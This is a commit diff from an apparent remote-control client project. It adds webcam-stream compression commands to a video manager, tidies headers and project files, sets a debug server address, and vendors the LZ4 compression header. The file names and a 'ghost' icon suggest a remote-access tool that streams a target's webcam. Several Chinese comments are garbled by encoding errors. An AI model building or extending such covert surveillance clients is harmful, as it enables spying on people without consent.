@@ -137,7 +152,7 @@ void CVideoManager::SendNextScreen()
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen); m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
delete [] lpBuffer; return TRUE;
} }
@@ -150,6 +165,20 @@ VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
NotifyDialogIsOpen(); NotifyDialogIsOpen();
break; break;
} }
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
printf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break;
}
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
{
InterlockedExchange((LPLONG)&m_bIsCompress, false);
printf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
break;
}
} }
} }

View File

@@ -22,19 +22,20 @@ public:
BOOL m_bIsWorking; BOOL m_bIsWorking;
HANDLE m_hWorkThread; HANDLE m_hWorkThread;
void CVideoManager::SendBitMapInfor(); void SendBitMapInfor();
void CVideoManager::SendNextScreen(); BOOL SendNextScreen();
static DWORD WorkThread(LPVOID lParam); static DWORD WorkThread(LPVOID lParam);
CCaptureVideo m_CapVideo; CCaptureVideo m_CapVideo;
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength); VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL CVideoManager::Initialize(); BOOL Initialize();
DWORD m_fccHandler; DWORD m_fccHandler;
bool m_bIsCompress; bool m_bIsCompress;
LPBYTE lpBuffer; // ץͼ<D7A5><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD> CVideoCodec *m_pVideoCodec; //ѹ<><D1B9><EFBFBD><EFBFBD>
void CVideoManager::Destroy(); void Destroy();
}; };
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_) #endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)

View File

@@ -70,7 +70,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions> <IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation> <MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile> </ClCompile>
<Link> <Link>
@@ -88,7 +88,6 @@
<ClCompile Include="CaptureVideo.cpp" /> <ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="CursorInfor.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" /> <ClCompile Include="KernelManager.cpp" />
@@ -111,7 +110,7 @@
<ClInclude Include="Buffer.h" /> <ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="CursorInfor.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" /> <ClInclude Include="KernelManager.h" />
@@ -141,6 +140,10 @@
<ItemGroup> <ItemGroup>
<Media Include="Res\msg.wav" /> <Media Include="Res\msg.wav" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
</ImportGroup> </ImportGroup>

View File

@@ -33,9 +33,6 @@
<ClCompile Include="Common.cpp"> <ClCompile Include="Common.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="CursorInfor.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="FileManager.cpp"> <ClCompile Include="FileManager.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
@@ -98,9 +95,6 @@
<ClInclude Include="Common.h"> <ClInclude Include="Common.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfor.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="FileManager.h"> <ClInclude Include="FileManager.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
@@ -158,6 +152,9 @@
<ClInclude Include="zlib.h"> <ClInclude Include="zlib.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfo.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="Script.rc"> <ResourceCompile Include="Script.rc">
@@ -174,4 +171,12 @@
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Media> </Media>
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="Res\msg.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project> </Project>

View File

@@ -6,6 +6,6 @@
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments> <LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
</PropertyGroup> </PropertyGroup>
</Project> </Project>

631
client/lz4/lz4.h Normal file
View File

@@ -0,0 +1,631 @@
/*
* LZ4 - Fast LZ compression algorithm
* Header File
* Copyright (C) 2011-present, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 homepage : http://www.lz4.org
- LZ4 source repository : https://github.com/lz4/lz4
*/
#if defined (__cplusplus)
extern "C" {
#endif
#ifndef LZ4_H_2983827168210
#define LZ4_H_2983827168210
/* --- Dependency --- */
#include <stddef.h> /* size_t */
/**
Introduction
LZ4 is lossless compression algorithm, providing compression speed at 500 MB/s per core,
scalable with multi-cores CPU. It features an extremely fast decoder, with speed in
multiple GB/s per core, typically reaching RAM speed limits on multi-core systems.
The LZ4 compression library provides in-memory compression and decompression functions.
Compression can be done in:
- a single step (described as Simple Functions)
- a single step, reusing a context (described in Advanced Functions)
- unbounded multiple steps (described as Streaming compression)
lz4.h provides block compression functions. It gives full buffer control to user.
Decompressing an lz4-compressed block also requires metadata (such as compressed size).
Each application is free to encode such metadata in whichever way it wants.
An additional format, called LZ4 frame specification (doc/lz4_Frame_format.md),
take care of encoding standard metadata alongside LZ4-compressed blocks.
Frame format is required for interoperability.
It is delivered through a companion API, declared in lz4frame.h.
*/
/*^***************************************************************
* Export parameters
*****************************************************************/
/*
* LZ4_DLL_EXPORT :
* Enable exporting of functions when building a Windows DLL
* LZ4LIB_VISIBILITY :
* Control library symbols visibility.
*/
#ifndef LZ4LIB_VISIBILITY
# if defined(__GNUC__) && (__GNUC__ >= 4)
# define LZ4LIB_VISIBILITY __attribute__ ((visibility ("default")))
# else
# define LZ4LIB_VISIBILITY
# endif
#endif
#if defined(LZ4_DLL_EXPORT) && (LZ4_DLL_EXPORT==1)
# define LZ4LIB_API __declspec(dllexport) LZ4LIB_VISIBILITY
#elif defined(LZ4_DLL_IMPORT) && (LZ4_DLL_IMPORT==1)
# define LZ4LIB_API __declspec(dllimport) LZ4LIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/
#else
# define LZ4LIB_API LZ4LIB_VISIBILITY
#endif
/*------ Version ------*/
#define LZ4_VERSION_MAJOR 1 /* for breaking interface changes */
#define LZ4_VERSION_MINOR 8 /* for new (non-breaking) interface capabilities */
#define LZ4_VERSION_RELEASE 3 /* for tweaks, bug-fixes, or development */
#define LZ4_VERSION_NUMBER (LZ4_VERSION_MAJOR *100*100 + LZ4_VERSION_MINOR *100 + LZ4_VERSION_RELEASE)
#define LZ4_LIB_VERSION LZ4_VERSION_MAJOR.LZ4_VERSION_MINOR.LZ4_VERSION_RELEASE
#define LZ4_QUOTE(str) #str
#define LZ4_EXPAND_AND_QUOTE(str) LZ4_QUOTE(str)
#define LZ4_VERSION_STRING LZ4_EXPAND_AND_QUOTE(LZ4_LIB_VERSION)
LZ4LIB_API int LZ4_versionNumber (void); /**< library version number; useful to check dll version */
LZ4LIB_API const char* LZ4_versionString (void); /**< library version string; unseful to check dll version */
/*-************************************
* Tuning parameter
**************************************/
/*!
* LZ4_MEMORY_USAGE :
* Memory usage formula : N->2^N Bytes (examples : 10 -> 1KB; 12 -> 4KB ; 16 -> 64KB; 20 -> 1MB; etc.)
* Increasing memory usage improves compression ratio
* Reduced memory usage may improve speed, thanks to cache effect
* Default value is 14, for 16KB, which nicely fits into Intel x86 L1 cache
*/
#ifndef LZ4_MEMORY_USAGE
# define LZ4_MEMORY_USAGE 14
#endif
/*-************************************
* Simple Functions
**************************************/
/*! LZ4_compress_default() :
Compresses 'srcSize' bytes from buffer 'src'
into already allocated 'dst' buffer of size 'dstCapacity'.
Compression is guaranteed to succeed if 'dstCapacity' >= LZ4_compressBound(srcSize).
It also runs faster, so it's a recommended setting.
If the function cannot compress 'src' into a more limited 'dst' budget,
compression stops *immediately*, and the function result is zero.
Note : as a consequence, 'dst' content is not valid.
Note 2 : This function is protected against buffer overflow scenarios (never writes outside 'dst' buffer, nor read outside 'source' buffer).
srcSize : max supported value is LZ4_MAX_INPUT_SIZE.
dstCapacity : size of buffer 'dst' (which must be already allocated)
return : the number of bytes written into buffer 'dst' (necessarily <= dstCapacity)
or 0 if compression fails */
LZ4LIB_API int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity);
/*! LZ4_decompress_safe() :
compressedSize : is the exact complete size of the compressed block.
dstCapacity : is the size of destination buffer, which must be already allocated.
return : the number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
If destination buffer is not large enough, decoding will stop and output an error code (negative value).
If the source stream is detected malformed, the function will stop decoding and return a negative result.
This function is protected against malicious data packets.
*/
LZ4LIB_API int LZ4_decompress_safe (const char* src, char* dst, int compressedSize, int dstCapacity);
/*-************************************
* Advanced Functions
**************************************/
#define LZ4_MAX_INPUT_SIZE 0x7E000000 /* 2 113 929 216 bytes */
#define LZ4_COMPRESSBOUND(isize) ((unsigned)(isize) > (unsigned)LZ4_MAX_INPUT_SIZE ? 0 : (isize) + ((isize)/255) + 16)
/*!
LZ4_compressBound() :
Provides the maximum size that LZ4 compression may output in a "worst case" scenario (input data not compressible)
This function is primarily useful for memory allocation purposes (destination buffer size).
Macro LZ4_COMPRESSBOUND() is also provided for compilation-time evaluation (stack memory allocation for example).
Note that LZ4_compress_default() compresses faster when dstCapacity is >= LZ4_compressBound(srcSize)
inputSize : max supported value is LZ4_MAX_INPUT_SIZE
return : maximum output size in a "worst case" scenario
or 0, if input size is incorrect (too large or negative)
*/
LZ4LIB_API int LZ4_compressBound(int inputSize);
/*!
LZ4_compress_fast() :
Same as LZ4_compress_default(), but allows selection of "acceleration" factor.
The larger the acceleration value, the faster the algorithm, but also the lesser the compression.
It's a trade-off. It can be fine tuned, with each successive value providing roughly +~3% to speed.
An acceleration value of "1" is the same as regular LZ4_compress_default()
Values <= 0 will be replaced by ACCELERATION_DEFAULT (currently == 1, see lz4.c).
*/
LZ4LIB_API int LZ4_compress_fast (const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*!
LZ4_compress_fast_extState() :
Same compression function, just using an externally allocated memory space to store compression state.
Use LZ4_sizeofState() to know how much memory must be allocated,
and allocate it on 8-bytes boundaries (using malloc() typically).
Then, provide this buffer as 'void* state' to compression function.
*/
LZ4LIB_API int LZ4_sizeofState(void);
LZ4LIB_API int LZ4_compress_fast_extState (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_compress_destSize() :
* Reverse the logic : compresses as much data as possible from 'src' buffer
* into already allocated buffer 'dst', of size >= 'targetDestSize'.
* This function either compresses the entire 'src' content into 'dst' if it's large enough,
* or fill 'dst' buffer completely with as much data as possible from 'src'.
* note: acceleration parameter is fixed to "default".
*
* *srcSizePtr : will be modified to indicate how many bytes where read from 'src' to fill 'dst'.
* New value is necessarily <= input value.
* @return : Nb bytes written into 'dst' (necessarily <= targetDestSize)
* or 0 if compression fails.
*/
LZ4LIB_API int LZ4_compress_destSize (const char* src, char* dst, int* srcSizePtr, int targetDstSize);
/*! LZ4_decompress_fast() : **unsafe!**
* This function used to be a bit faster than LZ4_decompress_safe(),
* though situation has changed in recent versions,
* and now `LZ4_decompress_safe()` can be as fast and sometimes faster than `LZ4_decompress_fast()`.
* Moreover, LZ4_decompress_fast() is not protected vs malformed input, as it doesn't perform full validation of compressed data.
* As a consequence, this function is no longer recommended, and may be deprecated in future versions.
* It's only remaining specificity is that it can decompress data without knowing its compressed size.
*
* originalSize : is the uncompressed size to regenerate.
* `dst` must be already allocated, its size must be >= 'originalSize' bytes.
* @return : number of bytes read from source buffer (== compressed size).
* If the source stream is detected malformed, the function stops decoding and returns a negative result.
* note : This function requires uncompressed originalSize to be known in advance.
* The function never writes past the output buffer.
* However, since it doesn't know its 'src' size, it may read past the intended input.
* Also, because match offsets are not validated during decoding,
* reads from 'src' may underflow.
* Use this function in trusted environment **only**.
*/
LZ4LIB_API int LZ4_decompress_fast (const char* src, char* dst, int originalSize);
/*! LZ4_decompress_safe_partial() :
* Decompress an LZ4 compressed block, of size 'srcSize' at position 'src',
* into destination buffer 'dst' of size 'dstCapacity'.
* Up to 'targetOutputSize' bytes will be decoded.
* The function stops decoding on reaching this objective,
* which can boost performance when only the beginning of a block is required.
*
* @return : the number of bytes decoded in `dst` (necessarily <= dstCapacity)
* If source stream is detected malformed, function returns a negative result.
*
* Note : @return can be < targetOutputSize, if compressed block contains less data.
*
* Note 2 : this function features 2 parameters, targetOutputSize and dstCapacity,
* and expects targetOutputSize <= dstCapacity.
* It effectively stops decoding on reaching targetOutputSize,
* so dstCapacity is kind of redundant.
* This is because in a previous version of this function,
* decoding operation would not "break" a sequence in the middle.
* As a consequence, there was no guarantee that decoding would stop at exactly targetOutputSize,
* it could write more bytes, though only up to dstCapacity.
* Some "margin" used to be required for this operation to work properly.
* This is no longer necessary.
* The function nonetheless keeps its signature, in an effort to not break API.
*/
LZ4LIB_API int LZ4_decompress_safe_partial (const char* src, char* dst, int srcSize, int targetOutputSize, int dstCapacity);
/*-*********************************************
* Streaming Compression Functions
***********************************************/
typedef union LZ4_stream_u LZ4_stream_t; /* incomplete type (defined later) */
/*! LZ4_createStream() and LZ4_freeStream() :
* LZ4_createStream() will allocate and initialize an `LZ4_stream_t` structure.
* LZ4_freeStream() releases its memory.
*/
LZ4LIB_API LZ4_stream_t* LZ4_createStream(void);
LZ4LIB_API int LZ4_freeStream (LZ4_stream_t* streamPtr);
/*! LZ4_resetStream() :
* An LZ4_stream_t structure can be allocated once and re-used multiple times.
* Use this function to start compressing a new stream.
*/
LZ4LIB_API void LZ4_resetStream (LZ4_stream_t* streamPtr);
/*! LZ4_loadDict() :
* Use this function to load a static dictionary into LZ4_stream_t.
* Any previous data will be forgotten, only 'dictionary' will remain in memory.
* Loading a size of 0 is allowed, and is the same as reset.
* @return : dictionary size, in bytes (necessarily <= 64 KB)
*/
LZ4LIB_API int LZ4_loadDict (LZ4_stream_t* streamPtr, const char* dictionary, int dictSize);
/*! LZ4_compress_fast_continue() :
* Compress 'src' content using data from previously compressed blocks, for better compression ratio.
* 'dst' buffer must be already allocated.
* If dstCapacity >= LZ4_compressBound(srcSize), compression is guaranteed to succeed, and runs faster.
*
* @return : size of compressed block
* or 0 if there is an error (typically, cannot fit into 'dst').
*
* Note 1 : Each invocation to LZ4_compress_fast_continue() generates a new block.
* Each block has precise boundaries.
* It's not possible to append blocks together and expect a single invocation of LZ4_decompress_*() to decompress them together.
* Each block must be decompressed separately, calling LZ4_decompress_*() with associated metadata.
*
* Note 2 : The previous 64KB of source data is __assumed__ to remain present, unmodified, at same address in memory!
*
* Note 3 : When input is structured as a double-buffer, each buffer can have any size, including < 64 KB.
* Make sure that buffers are separated, by at least one byte.
* This construction ensures that each block only depends on previous block.
*
* Note 4 : If input buffer is a ring-buffer, it can have any size, including < 64 KB.
*
* Note 5 : After an error, the stream status is invalid, it can only be reset or freed.
*/
LZ4LIB_API int LZ4_compress_fast_continue (LZ4_stream_t* streamPtr, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_saveDict() :
* If last 64KB data cannot be guaranteed to remain available at its current memory location,
* save it into a safer place (char* safeBuffer).
* This is schematically equivalent to a memcpy() followed by LZ4_loadDict(),
* but is much faster, because LZ4_saveDict() doesn't need to rebuild tables.
* @return : saved dictionary size in bytes (necessarily <= maxDictSize), or 0 if error.
*/
LZ4LIB_API int LZ4_saveDict (LZ4_stream_t* streamPtr, char* safeBuffer, int maxDictSize);
/*-**********************************************
* Streaming Decompression Functions
* Bufferless synchronous API
************************************************/
typedef union LZ4_streamDecode_u LZ4_streamDecode_t; /* tracking context */
/*! LZ4_createStreamDecode() and LZ4_freeStreamDecode() :
* creation / destruction of streaming decompression tracking context.
* A tracking context can be re-used multiple times.
*/
LZ4LIB_API LZ4_streamDecode_t* LZ4_createStreamDecode(void);
LZ4LIB_API int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream);
/*! LZ4_setStreamDecode() :
* An LZ4_streamDecode_t context can be allocated once and re-used multiple times.
* Use this function to start decompression of a new stream of blocks.
* A dictionary can optionally be set. Use NULL or size 0 for a reset order.
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
* @return : 1 if OK, 0 if error
*/
LZ4LIB_API int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize);
/*! LZ4_decoderRingBufferSize() : v1.8.2
* Note : in a ring buffer scenario (optional),
* blocks are presumed decompressed next to each other
* up to the moment there is not enough remaining space for next block (remainingSize < maxBlockSize),
* at which stage it resumes from beginning of ring buffer.
* When setting such a ring buffer for streaming decompression,
* provides the minimum size of this ring buffer
* to be compatible with any source respecting maxBlockSize condition.
* @return : minimum ring buffer size,
* or 0 if there is an error (invalid maxBlockSize).
*/
LZ4LIB_API int LZ4_decoderRingBufferSize(int maxBlockSize);
#define LZ4_DECODER_RING_BUFFER_SIZE(mbs) (65536 + 14 + (mbs)) /* for static allocation; mbs presumed valid */
/*! LZ4_decompress_*_continue() :
* These decoding functions allow decompression of consecutive blocks in "streaming" mode.
* A block is an unsplittable entity, it must be presented entirely to a decompression function.
* Decompression functions only accepts one block at a time.
* The last 64KB of previously decoded data *must* remain available and unmodified at the memory position where they were decoded.
* If less than 64KB of data has been decoded, all the data must be present.
*
* Special : if decompression side sets a ring buffer, it must respect one of the following conditions :
* - Decompression buffer size is _at least_ LZ4_decoderRingBufferSize(maxBlockSize).
* maxBlockSize is the maximum size of any single block. It can have any value > 16 bytes.
* In which case, encoding and decoding buffers do not need to be synchronized.
* Actually, data can be produced by any source compliant with LZ4 format specification, and respecting maxBlockSize.
* - Synchronized mode :
* Decompression buffer size is _exactly_ the same as compression buffer size,
* and follows exactly same update rule (block boundaries at same positions),
* and decoding function is provided with exact decompressed size of each block (exception for last block of the stream),
* _then_ decoding & encoding ring buffer can have any size, including small ones ( < 64 KB).
* - Decompression buffer is larger than encoding buffer, by a minimum of maxBlockSize more bytes.
* In which case, encoding and decoding buffers do not need to be synchronized,
* and encoding ring buffer can have any size, including small ones ( < 64 KB).
*
* Whenever these conditions are not possible,
* save the last 64KB of decoded data into a safe buffer where it can't be modified during decompression,
* then indicate where this data is saved using LZ4_setStreamDecode(), before decompressing next block.
*/
LZ4LIB_API int LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int srcSize, int dstCapacity);
LZ4LIB_API int LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int originalSize);
/*! LZ4_decompress_*_usingDict() :
* These decoding functions work the same as
* a combination of LZ4_setStreamDecode() followed by LZ4_decompress_*_continue()
* They are stand-alone, and don't need an LZ4_streamDecode_t structure.
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
*/
LZ4LIB_API int LZ4_decompress_safe_usingDict (const char* src, char* dst, int srcSize, int dstCapcity, const char* dictStart, int dictSize);
LZ4LIB_API int LZ4_decompress_fast_usingDict (const char* src, char* dst, int originalSize, const char* dictStart, int dictSize);
/*^**********************************************
* !!!!!! STATIC LINKING ONLY !!!!!!
***********************************************/
/*-************************************
* Unstable declarations
**************************************
* Declarations in this section should be considered unstable.
* Use at your own peril, etc., etc.
* They may be removed in the future.
* Their signatures may change.
**************************************/
#ifdef LZ4_STATIC_LINKING_ONLY
/*! LZ4_resetStream_fast() :
* Use this, like LZ4_resetStream(), to prepare a context for a new chain of
* calls to a streaming API (e.g., LZ4_compress_fast_continue()).
*
* Note:
* Using this in advance of a non- streaming-compression function is redundant,
* and potentially bad for performance, since they all perform their own custom
* reset internally.
*
* Differences from LZ4_resetStream():
* When an LZ4_stream_t is known to be in a internally coherent state,
* it can often be prepared for a new compression with almost no work, only
* sometimes falling back to the full, expensive reset that is always required
* when the stream is in an indeterminate state (i.e., the reset performed by
* LZ4_resetStream()).
*
* LZ4_streams are guaranteed to be in a valid state when:
* - returned from LZ4_createStream()
* - reset by LZ4_resetStream()
* - memset(stream, 0, sizeof(LZ4_stream_t)), though this is discouraged
* - the stream was in a valid state and was reset by LZ4_resetStream_fast()
* - the stream was in a valid state and was then used in any compression call
* that returned success
* - the stream was in an indeterminate state and was used in a compression
* call that fully reset the state (e.g., LZ4_compress_fast_extState()) and
* that returned success
*
* When a stream isn't known to be in a valid state, it is not safe to pass to
* any fastReset or streaming function. It must first be cleansed by the full
* LZ4_resetStream().
*/
LZ4LIB_API void LZ4_resetStream_fast (LZ4_stream_t* streamPtr);
/*! LZ4_compress_fast_extState_fastReset() :
* A variant of LZ4_compress_fast_extState().
*
* Using this variant avoids an expensive initialization step. It is only safe
* to call if the state buffer is known to be correctly initialized already
* (see above comment on LZ4_resetStream_fast() for a definition of "correctly
* initialized"). From a high level, the difference is that this function
* initializes the provided state with a call to something like
* LZ4_resetStream_fast() while LZ4_compress_fast_extState() starts with a
* call to LZ4_resetStream().
*/
LZ4LIB_API int LZ4_compress_fast_extState_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_attach_dictionary() :
* This is an experimental API that allows for the efficient use of a
* static dictionary many times.
*
* Rather than re-loading the dictionary buffer into a working context before
* each compression, or copying a pre-loaded dictionary's LZ4_stream_t into a
* working LZ4_stream_t, this function introduces a no-copy setup mechanism,
* in which the working stream references the dictionary stream in-place.
*
* Several assumptions are made about the state of the dictionary stream.
* Currently, only streams which have been prepared by LZ4_loadDict() should
* be expected to work.
*
* Alternatively, the provided dictionary stream pointer may be NULL, in which
* case any existing dictionary stream is unset.
*
* If a dictionary is provided, it replaces any pre-existing stream history.
* The dictionary contents are the only history that can be referenced and
* logically immediately precede the data compressed in the first subsequent
* compression call.
*
* The dictionary will only remain attached to the working stream through the
* first compression call, at the end of which it is cleared. The dictionary
* stream (and source buffer) must remain in-place / accessible / unchanged
* through the completion of the first compression call on the stream.
*/
LZ4LIB_API void LZ4_attach_dictionary(LZ4_stream_t *working_stream, const LZ4_stream_t *dictionary_stream);
#endif
/*-************************************
* Private definitions
**************************************
* Do not use these definitions.
* They are exposed to allow static allocation of `LZ4_stream_t` and `LZ4_streamDecode_t`.
* Using these definitions will expose code to API and/or ABI break in future versions of the library.
**************************************/
#define LZ4_HASHLOG (LZ4_MEMORY_USAGE-2)
#define LZ4_HASHTABLESIZE (1 << LZ4_MEMORY_USAGE)
#define LZ4_HASH_SIZE_U32 (1 << LZ4_HASHLOG) /* required as macro for static allocation */
#if defined(__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */)
#include <stdint.h>
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
struct LZ4_stream_t_internal {
uint32_t hashTable[LZ4_HASH_SIZE_U32];
uint32_t currentOffset;
uint16_t initCheck;
uint16_t tableType;
const uint8_t* dictionary;
const LZ4_stream_t_internal* dictCtx;
uint32_t dictSize;
};
typedef struct {
const uint8_t* externalDict;
size_t extDictSize;
const uint8_t* prefixEnd;
size_t prefixSize;
} LZ4_streamDecode_t_internal;
#else
typedef struct LZ4_stream_t_internal LZ4_stream_t_internal;
struct LZ4_stream_t_internal {
unsigned int hashTable[LZ4_HASH_SIZE_U32];
unsigned int currentOffset;
unsigned short initCheck;
unsigned short tableType;
const unsigned char* dictionary;
const LZ4_stream_t_internal* dictCtx;
unsigned int dictSize;
};
typedef struct {
const unsigned char* externalDict;
size_t extDictSize;
const unsigned char* prefixEnd;
size_t prefixSize;
} LZ4_streamDecode_t_internal;
#endif
/*!
* LZ4_stream_t :
* information structure to track an LZ4 stream.
* init this structure before first use.
* note : only use in association with static linking !
* this definition is not API/ABI safe,
* it may change in a future version !
*/
#define LZ4_STREAMSIZE_U64 ((1 << (LZ4_MEMORY_USAGE-3)) + 4)
#define LZ4_STREAMSIZE (LZ4_STREAMSIZE_U64 * sizeof(unsigned long long))
union LZ4_stream_u {
unsigned long long table[LZ4_STREAMSIZE_U64];
LZ4_stream_t_internal internal_donotuse;
} ; /* previously typedef'd to LZ4_stream_t */
/*!
* LZ4_streamDecode_t :
* information structure to track an LZ4 stream during decompression.
* init this structure using LZ4_setStreamDecode (or memset()) before first use
* note : only use in association with static linking !
* this definition is not API/ABI safe,
* and may change in a future version !
*/
#define LZ4_STREAMDECODESIZE_U64 4
#define LZ4_STREAMDECODESIZE (LZ4_STREAMDECODESIZE_U64 * sizeof(unsigned long long))
union LZ4_streamDecode_u {
unsigned long long table[LZ4_STREAMDECODESIZE_U64];
LZ4_streamDecode_t_internal internal_donotuse;
} ; /* previously typedef'd to LZ4_streamDecode_t */
/*-************************************
* Obsolete Functions
**************************************/
/*! Deprecation warnings
Should deprecation warnings be a problem,
it is generally possible to disable them,
